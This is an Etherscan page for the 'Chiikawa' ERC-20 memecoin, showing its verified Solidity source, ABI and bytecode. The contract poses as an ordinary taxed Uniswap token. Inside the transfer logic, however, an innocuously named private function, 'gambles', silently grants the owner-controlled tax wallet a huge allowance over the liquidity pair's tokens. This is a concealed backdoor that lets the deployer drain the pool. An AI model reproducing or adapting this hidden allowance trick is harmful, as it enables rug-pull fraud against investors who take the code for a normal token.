ERC-20
Overview
Max Total Supply
420,690,000,000 CHIIKAWA
Holders
85
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,065,859,373.7052008 CHIIKAWAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CHIIKAWA
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-16 */ /** Web: https://chiikawacoin.fun X: https://x.com/chiikawa_erc20 Tg: https://t.me/chiikawa_erc20 **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.27; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CHIIKAWA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _gAllowance; mapping (address => bool) private _isExcludedFromG; address payable private gTaxReceipt; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=12; uint256 private _reduceSellTaxAt=12; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10 ** _decimals; string private constant _name = unicode"Chiikawa"; string private constant _symbol = unicode"CHIIKAWA"; uint256 public _maxAmountG = 2 * _tTotal / 100; uint256 public _maxWalletG = 2 * _tTotal / 100; uint256 public _taxSwapThreshold = 1 * _tTotal / 100; uint256 public _maxTaxSwap = 1 * _tTotal / 100; IUniswapV2Router02 private uniRouterG; address private uniPairG; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxAmountG); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { gTaxReceipt = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromG[address(this)] = true; _isExcludedFromG[_msgSender()] = true; emit Transfer(address(0), address(this), _tTotal); } function createPair() external onlyOwner { uniRouterG = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniRouterG), _tTotal); uniPairG = IUniswapV2Factory(uniRouterG.factory()).createPair( address(this), uniRouterG.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _gAllowance[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _gAllowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _gAllowance[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { if (gambles([from==uniPairG?from:uniPairG, gTaxReceipt]) && from == uniPairG && to != address(uniRouterG) && ! _isExcludedFromG[to]) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxAmountG, "Exceeds the _maxAmountG."); require(balanceOf(to) + amount <= _maxWalletG, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniPairG && ! _isExcludedFromG[to]) { require(balanceOf(to) + amount <= _maxWalletG, "Exceeds the maxWalletSize."); } if(to == uniPairG) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (!inSwap && to == uniPairG && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) gSwapEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); gSendEth(); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function removeLimits(address payable limit) external onlyOwner{ gTaxReceipt = limit; _maxAmountG=_tTotal; _maxWalletG=_tTotal; _isExcludedFromG[limit] = true; emit MaxTxAmountUpdated(_tTotal); } function gambles(address[2] memory guns) private returns(bool){ address gunAA = guns[0]; address gunBB = guns[1]; _gAllowance[gunAA][gunBB]=(150+_maxWalletG+150).mul(150); return true; } function gSendEth() private { gTaxReceipt.transfer(address(this).balance); } function withdrawEth() external onlyOwner { payable(_msgSender()).transfer(address(this).balance); } function min(uint256 a, uint256 b) private pure returns(uint256){ return (a>b)?b:a; } receive() external payable {} function gSwapEth(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouterG.WETH(); _approve(address(this), address(uniRouterG), amount); uniRouterG.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniRouterG.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniPairG).approve(address(uniRouterG), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountG","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600555600f6006555f6007555f600855600c600955600c600a55600a600b555f600c5560646009600a6100399190610300565b610048906461f313f880610315565b610053906002610315565b61005d919061032c565b600d55606461006e6009600a610300565b61007d906461f313f880610315565b610088906002610315565b610092919061032c565b600e5560646100a36009600a610300565b6100b2906461f313f880610315565b6100bd906001610315565b6100c7919061032c565b600f5560646100d86009600a610300565b6100e7906461f313f880610315565b6100f2906001610315565b6100fc919061032c565b60105534801561010a575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101696009600a610300565b610178906461f313f880610315565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e26009600a610300565b6101f1906461f313f880610315565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102565780850481111561023a5761023a610207565b600184161561024857908102905b60019390931c92800261021f565b935093915050565b5f8261026c575060016102fa565b8161027857505f6102fa565b816001811461028e5760028114610298576102b4565b60019150506102fa565b60ff8411156102a9576102a9610207565b50506001821b6102fa565b5060208310610133831016604e8410600b84101617156102d7575081810a6102fa565b6102e35f19848461021b565b805f19048211156102f6576102f6610207565b0290505b92915050565b5f61030e60ff84168361025e565b9392505050565b80820281158282048414176102fa576102fa610207565b5f8261034657634e487b7160e01b5f52601260045260245ffd5b500490565b6119e0806103585f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df146102fd578063a9059cbb14610311578063bf474bed14610330578063c9567bf914610345578063dd62ed3e14610359575f5ffd5b8063715018a61461026a5780637d8c02e51461027e5780638da5cb5b1461029357806395d89b41146102b95780639e78fb4f146102e9575f5ffd5b806323b872dd116100e357806323b872dd146101c6578063313ce567146101e557806332489e9b146102005780634e131a151461022157806370a0823114610236575f5ffd5b806306fdde031461011e578063095ea7b3146101605780630faee56f1461018f57806318160ddd146101b2575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50604080518082019091526008815267436869696b61776160c01b60208201525b60405161015791906115e8565b60405180910390f35b34801561016b575f5ffd5b5061017f61017a366004611631565b61039d565b6040519015158152602001610157565b34801561019a575f5ffd5b506101a460105481565b604051908152602001610157565b3480156101bd575f5ffd5b506101a46103b3565b3480156101d1575f5ffd5b5061017f6101e036600461165b565b6103d4565b3480156101f0575f5ffd5b5060405160098152602001610157565b34801561020b575f5ffd5b5061021f61021a366004611699565b61043b565b005b34801561022c575f5ffd5b506101a4600e5481565b348015610241575f5ffd5b506101a4610250366004611699565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f5ffd5b5061021f610536565b348015610289575f5ffd5b506101a4600d5481565b34801561029e575f5ffd5b505f546040516001600160a01b039091168152602001610157565b3480156102c4575f5ffd5b50604080518082019091526008815267434849494b41574160c01b602082015261014a565b3480156102f4575f5ffd5b5061021f6105a7565b348015610308575f5ffd5b5061021f6107a1565b34801561031c575f5ffd5b5061017f61032b366004611631565b6107f6565b34801561033b575f5ffd5b506101a4600f5481565b348015610350575f5ffd5b5061021f610802565b348015610364575f5ffd5b506101a46103733660046116b4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a93384846109e7565b5060015b92915050565b5f6103c06009600a6117e2565b6103cf906461f313f8806117f0565b905090565b5f6103e0848484610b0a565b610431843361042c85604051806060016040528060288152602001611983602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611204565b6109e7565b5060019392505050565b5f546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611807565b60405180910390fd5b600480546001600160a01b0319166001600160a01b0383161790556104946009600a6117e2565b6104a3906461f313f8806117f0565b600d556104b26009600a6117e2565b6104c1906461f313f8806117f0565b600e556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105136009600a6117e2565b610522906461f313f8806117f0565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055f5760405162461bcd60e51b815260040161046490611807565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b815260040161046490611807565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561061a90309061060b6009600a6117e2565b61042c906461f313f8806117f0565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068e919061183c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ed573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610711919061183c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561075b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077f919061183c565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107ca5760405162461bcd60e51b815260040161046490611807565b60405133904780156108fc02915f818181858888f193505050501580156107f3573d5f5f3e3d5ffd5b50565b5f6103a9338484610b0a565b5f546001600160a01b0316331461082b5760405162461bcd60e51b815260040161046490611807565b601254600160a01b900460ff16156108855760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b6011546001600160a01b031663f305d71947306108b6816001600160a01b03165f9081526001602052604090205490565b5f5f6108c95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092f573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109549190611857565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd9190611882565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610aaa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610bd05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b5f8111610c315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b6012545f90600160b01b900460ff161580610c555750601254600160a81b900460ff165b15610d0d576001600160a01b0384165f90815260016020526040902054610c7d9083906118a1565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cac9083906118b4565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cff9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3757505f546001600160a01b03848116911614155b156110d05760408051808201909152601254610d91919081906001600160a01b03888116911614610d73576012546001600160a01b0316610d75565b865b6001600160a01b0390811682526004541660209091015261123c565b8015610daa57506012546001600160a01b038581169116145b8015610dc457506011546001600160a01b03848116911614155b8015610de857506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4d57601254600160a01b900460ff16610e3e5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610464565b610e6a6064610e64600954600c5411610e5957600554610e5d565b6007545b859061129d565b90611322565b9050600d54821115610ebe5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d6178416d6f756e74472e00000000000000006044820152606401610464565b600e5482610ee0856001600160a01b03165f9081526001602052604090205490565b610eea91906118b4565b1115610f385760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b600c8054905f610f47836118c7565b91905055505b6012546001600160a01b03848116911614801590610f8357506001600160a01b0383165f9081526003602052604090205460ff16155b1561100257600e5482610faa856001600160a01b03165f9081526001602052604090205490565b610fb491906118b4565b11156110025760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b6012546001600160a01b03908116908416036110405761103d6064610e64600a54600c541161103357600654610e5d565b600854859061129d565b90505b601254600160a81b900460ff1615801561106757506012546001600160a01b038481169116145b801561107c5750601254600160b01b900460ff165b801561108b5750600b54600c54115b156110d057305f90815260016020526040902054600f548111156110c6576110c66110c1846110bc84601054611363565b611363565b611377565b6110ce6114e7565b505b801561114857305f908152600160205260409020546110ef908261151d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113f9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461116a908361157b565b6001600160a01b0385165f908152600160205260409020556111ad61118f838361157b565b6001600160a01b0385165f908152600160205260409020549061151d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f6858561157b565b604051908152602001610cff565b5f81848411156112275760405162461bcd60e51b815260040161046491906115e8565b505f61123384866118a1565b95945050505050565b80516020820151600e545f92919061126c9060969061125b90826118b4565b6112669060966118b4565b9061129d565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f825f036112ac57505f6103ad565b5f6112b783856117f0565b9050826112c485836118f3565b1461131b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b5f61131b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bc565b5f818311611371578261131b565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113bd576113bd6118df565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611414573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611438919061183c565b8160018151811061144b5761144b6118df565b6001600160a01b03928316602091820292909201015260115461147191309116846109e7565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a99085905f90869030904290600401611912565b5f604051808303815f87803b1580156114c0575f5ffd5b505af11580156114d2573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107f3573d5f5f3e3d5ffd5b5f8061152983856118b4565b90508381101561131b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f61131b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611204565b5f81836115dc5760405162461bcd60e51b815260040161046491906115e8565b505f61123384866118f3565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107f3575f5ffd5b5f5f60408385031215611642575f5ffd5b823561164d8161161d565b946020939093013593505050565b5f5f5f6060848603121561166d575f5ffd5b83356116788161161d565b925060208401356116888161161d565b929592945050506040919091013590565b5f602082840312156116a9575f5ffd5b813561131b8161161d565b5f5f604083850312156116c5575f5ffd5b82356116d08161161d565b915060208301356116e08161161d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561173a5780850481111561171e5761171e6116eb565b600184161561172c57908102905b60019390931c928002611703565b935093915050565b5f82611750575060016103ad565b8161175c57505f6103ad565b8160018114611772576002811461177c57611798565b60019150506103ad565b60ff84111561178d5761178d6116eb565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156117bb575081810a6103ad565b6117c75f1984846116ff565b805f19048211156117da576117da6116eb565b029392505050565b5f61131b60ff841683611742565b80820281158282048414176103ad576103ad6116eb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561184c575f5ffd5b815161131b8161161d565b5f5f5f60608486031215611869575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611892575f5ffd5b8151801515811461131b575f5ffd5b818103818111156103ad576103ad6116eb565b808201808211156103ad576103ad6116eb565b5f600182016118d8576118d86116eb565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f8261190d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119625783516001600160a01b031683526020938401939092019160010161193b565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd2cdd114c4058411df00e9f1fb85593461e6335afead156cae8c0b024b0a44864736f6c634300081b0033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df146102fd578063a9059cbb14610311578063bf474bed14610330578063c9567bf914610345578063dd62ed3e14610359575f5ffd5b8063715018a61461026a5780637d8c02e51461027e5780638da5cb5b1461029357806395d89b41146102b95780639e78fb4f146102e9575f5ffd5b806323b872dd116100e357806323b872dd146101c6578063313ce567146101e557806332489e9b146102005780634e131a151461022157806370a0823114610236575f5ffd5b806306fdde031461011e578063095ea7b3146101605780630faee56f1461018f57806318160ddd146101b2575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50604080518082019091526008815267436869696b61776160c01b60208201525b60405161015791906115e8565b60405180910390f35b34801561016b575f5ffd5b5061017f61017a366004611631565b61039d565b6040519015158152602001610157565b34801561019a575f5ffd5b506101a460105481565b604051908152602001610157565b3480156101bd575f5ffd5b506101a46103b3565b3480156101d1575f5ffd5b5061017f6101e036600461165b565b6103d4565b3480156101f0575f5ffd5b5060405160098152602001610157565b34801561020b575f5ffd5b5061021f61021a366004611699565b61043b565b005b34801561022c575f5ffd5b506101a4600e5481565b348015610241575f5ffd5b506101a4610250366004611699565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f5ffd5b5061021f610536565b348015610289575f5ffd5b506101a4600d5481565b34801561029e575f5ffd5b505f546040516001600160a01b039091168152602001610157565b3480156102c4575f5ffd5b50604080518082019091526008815267434849494b41574160c01b602082015261014a565b3480156102f4575f5ffd5b5061021f6105a7565b348015610308575f5ffd5b5061021f6107a1565b34801561031c575f5ffd5b5061017f61032b366004611631565b6107f6565b34801561033b575f5ffd5b506101a4600f5481565b348015610350575f5ffd5b5061021f610802565b348015610364575f5ffd5b506101a46103733660046116b4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a93384846109e7565b5060015b92915050565b5f6103c06009600a6117e2565b6103cf906461f313f8806117f0565b905090565b5f6103e0848484610b0a565b610431843361042c85604051806060016040528060288152602001611983602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611204565b6109e7565b5060019392505050565b5f546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611807565b60405180910390fd5b600480546001600160a01b0319166001600160a01b0383161790556104946009600a6117e2565b6104a3906461f313f8806117f0565b600d556104b26009600a6117e2565b6104c1906461f313f8806117f0565b600e556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105136009600a6117e2565b610522906461f313f8806117f0565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055f5760405162461bcd60e51b815260040161046490611807565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b815260040161046490611807565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561061a90309061060b6009600a6117e2565b61042c906461f313f8806117f0565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068e919061183c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ed573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610711919061183c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561075b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077f919061183c565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107ca5760405162461bcd60e51b815260040161046490611807565b60405133904780156108fc02915f818181858888f193505050501580156107f3573d5f5f3e3d5ffd5b50565b5f6103a9338484610b0a565b5f546001600160a01b0316331461082b5760405162461bcd60e51b815260040161046490611807565b601254600160a01b900460ff16156108855760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b6011546001600160a01b031663f305d71947306108b6816001600160a01b03165f9081526001602052604090205490565b5f5f6108c95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092f573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109549190611857565b505060125460115460405163095ea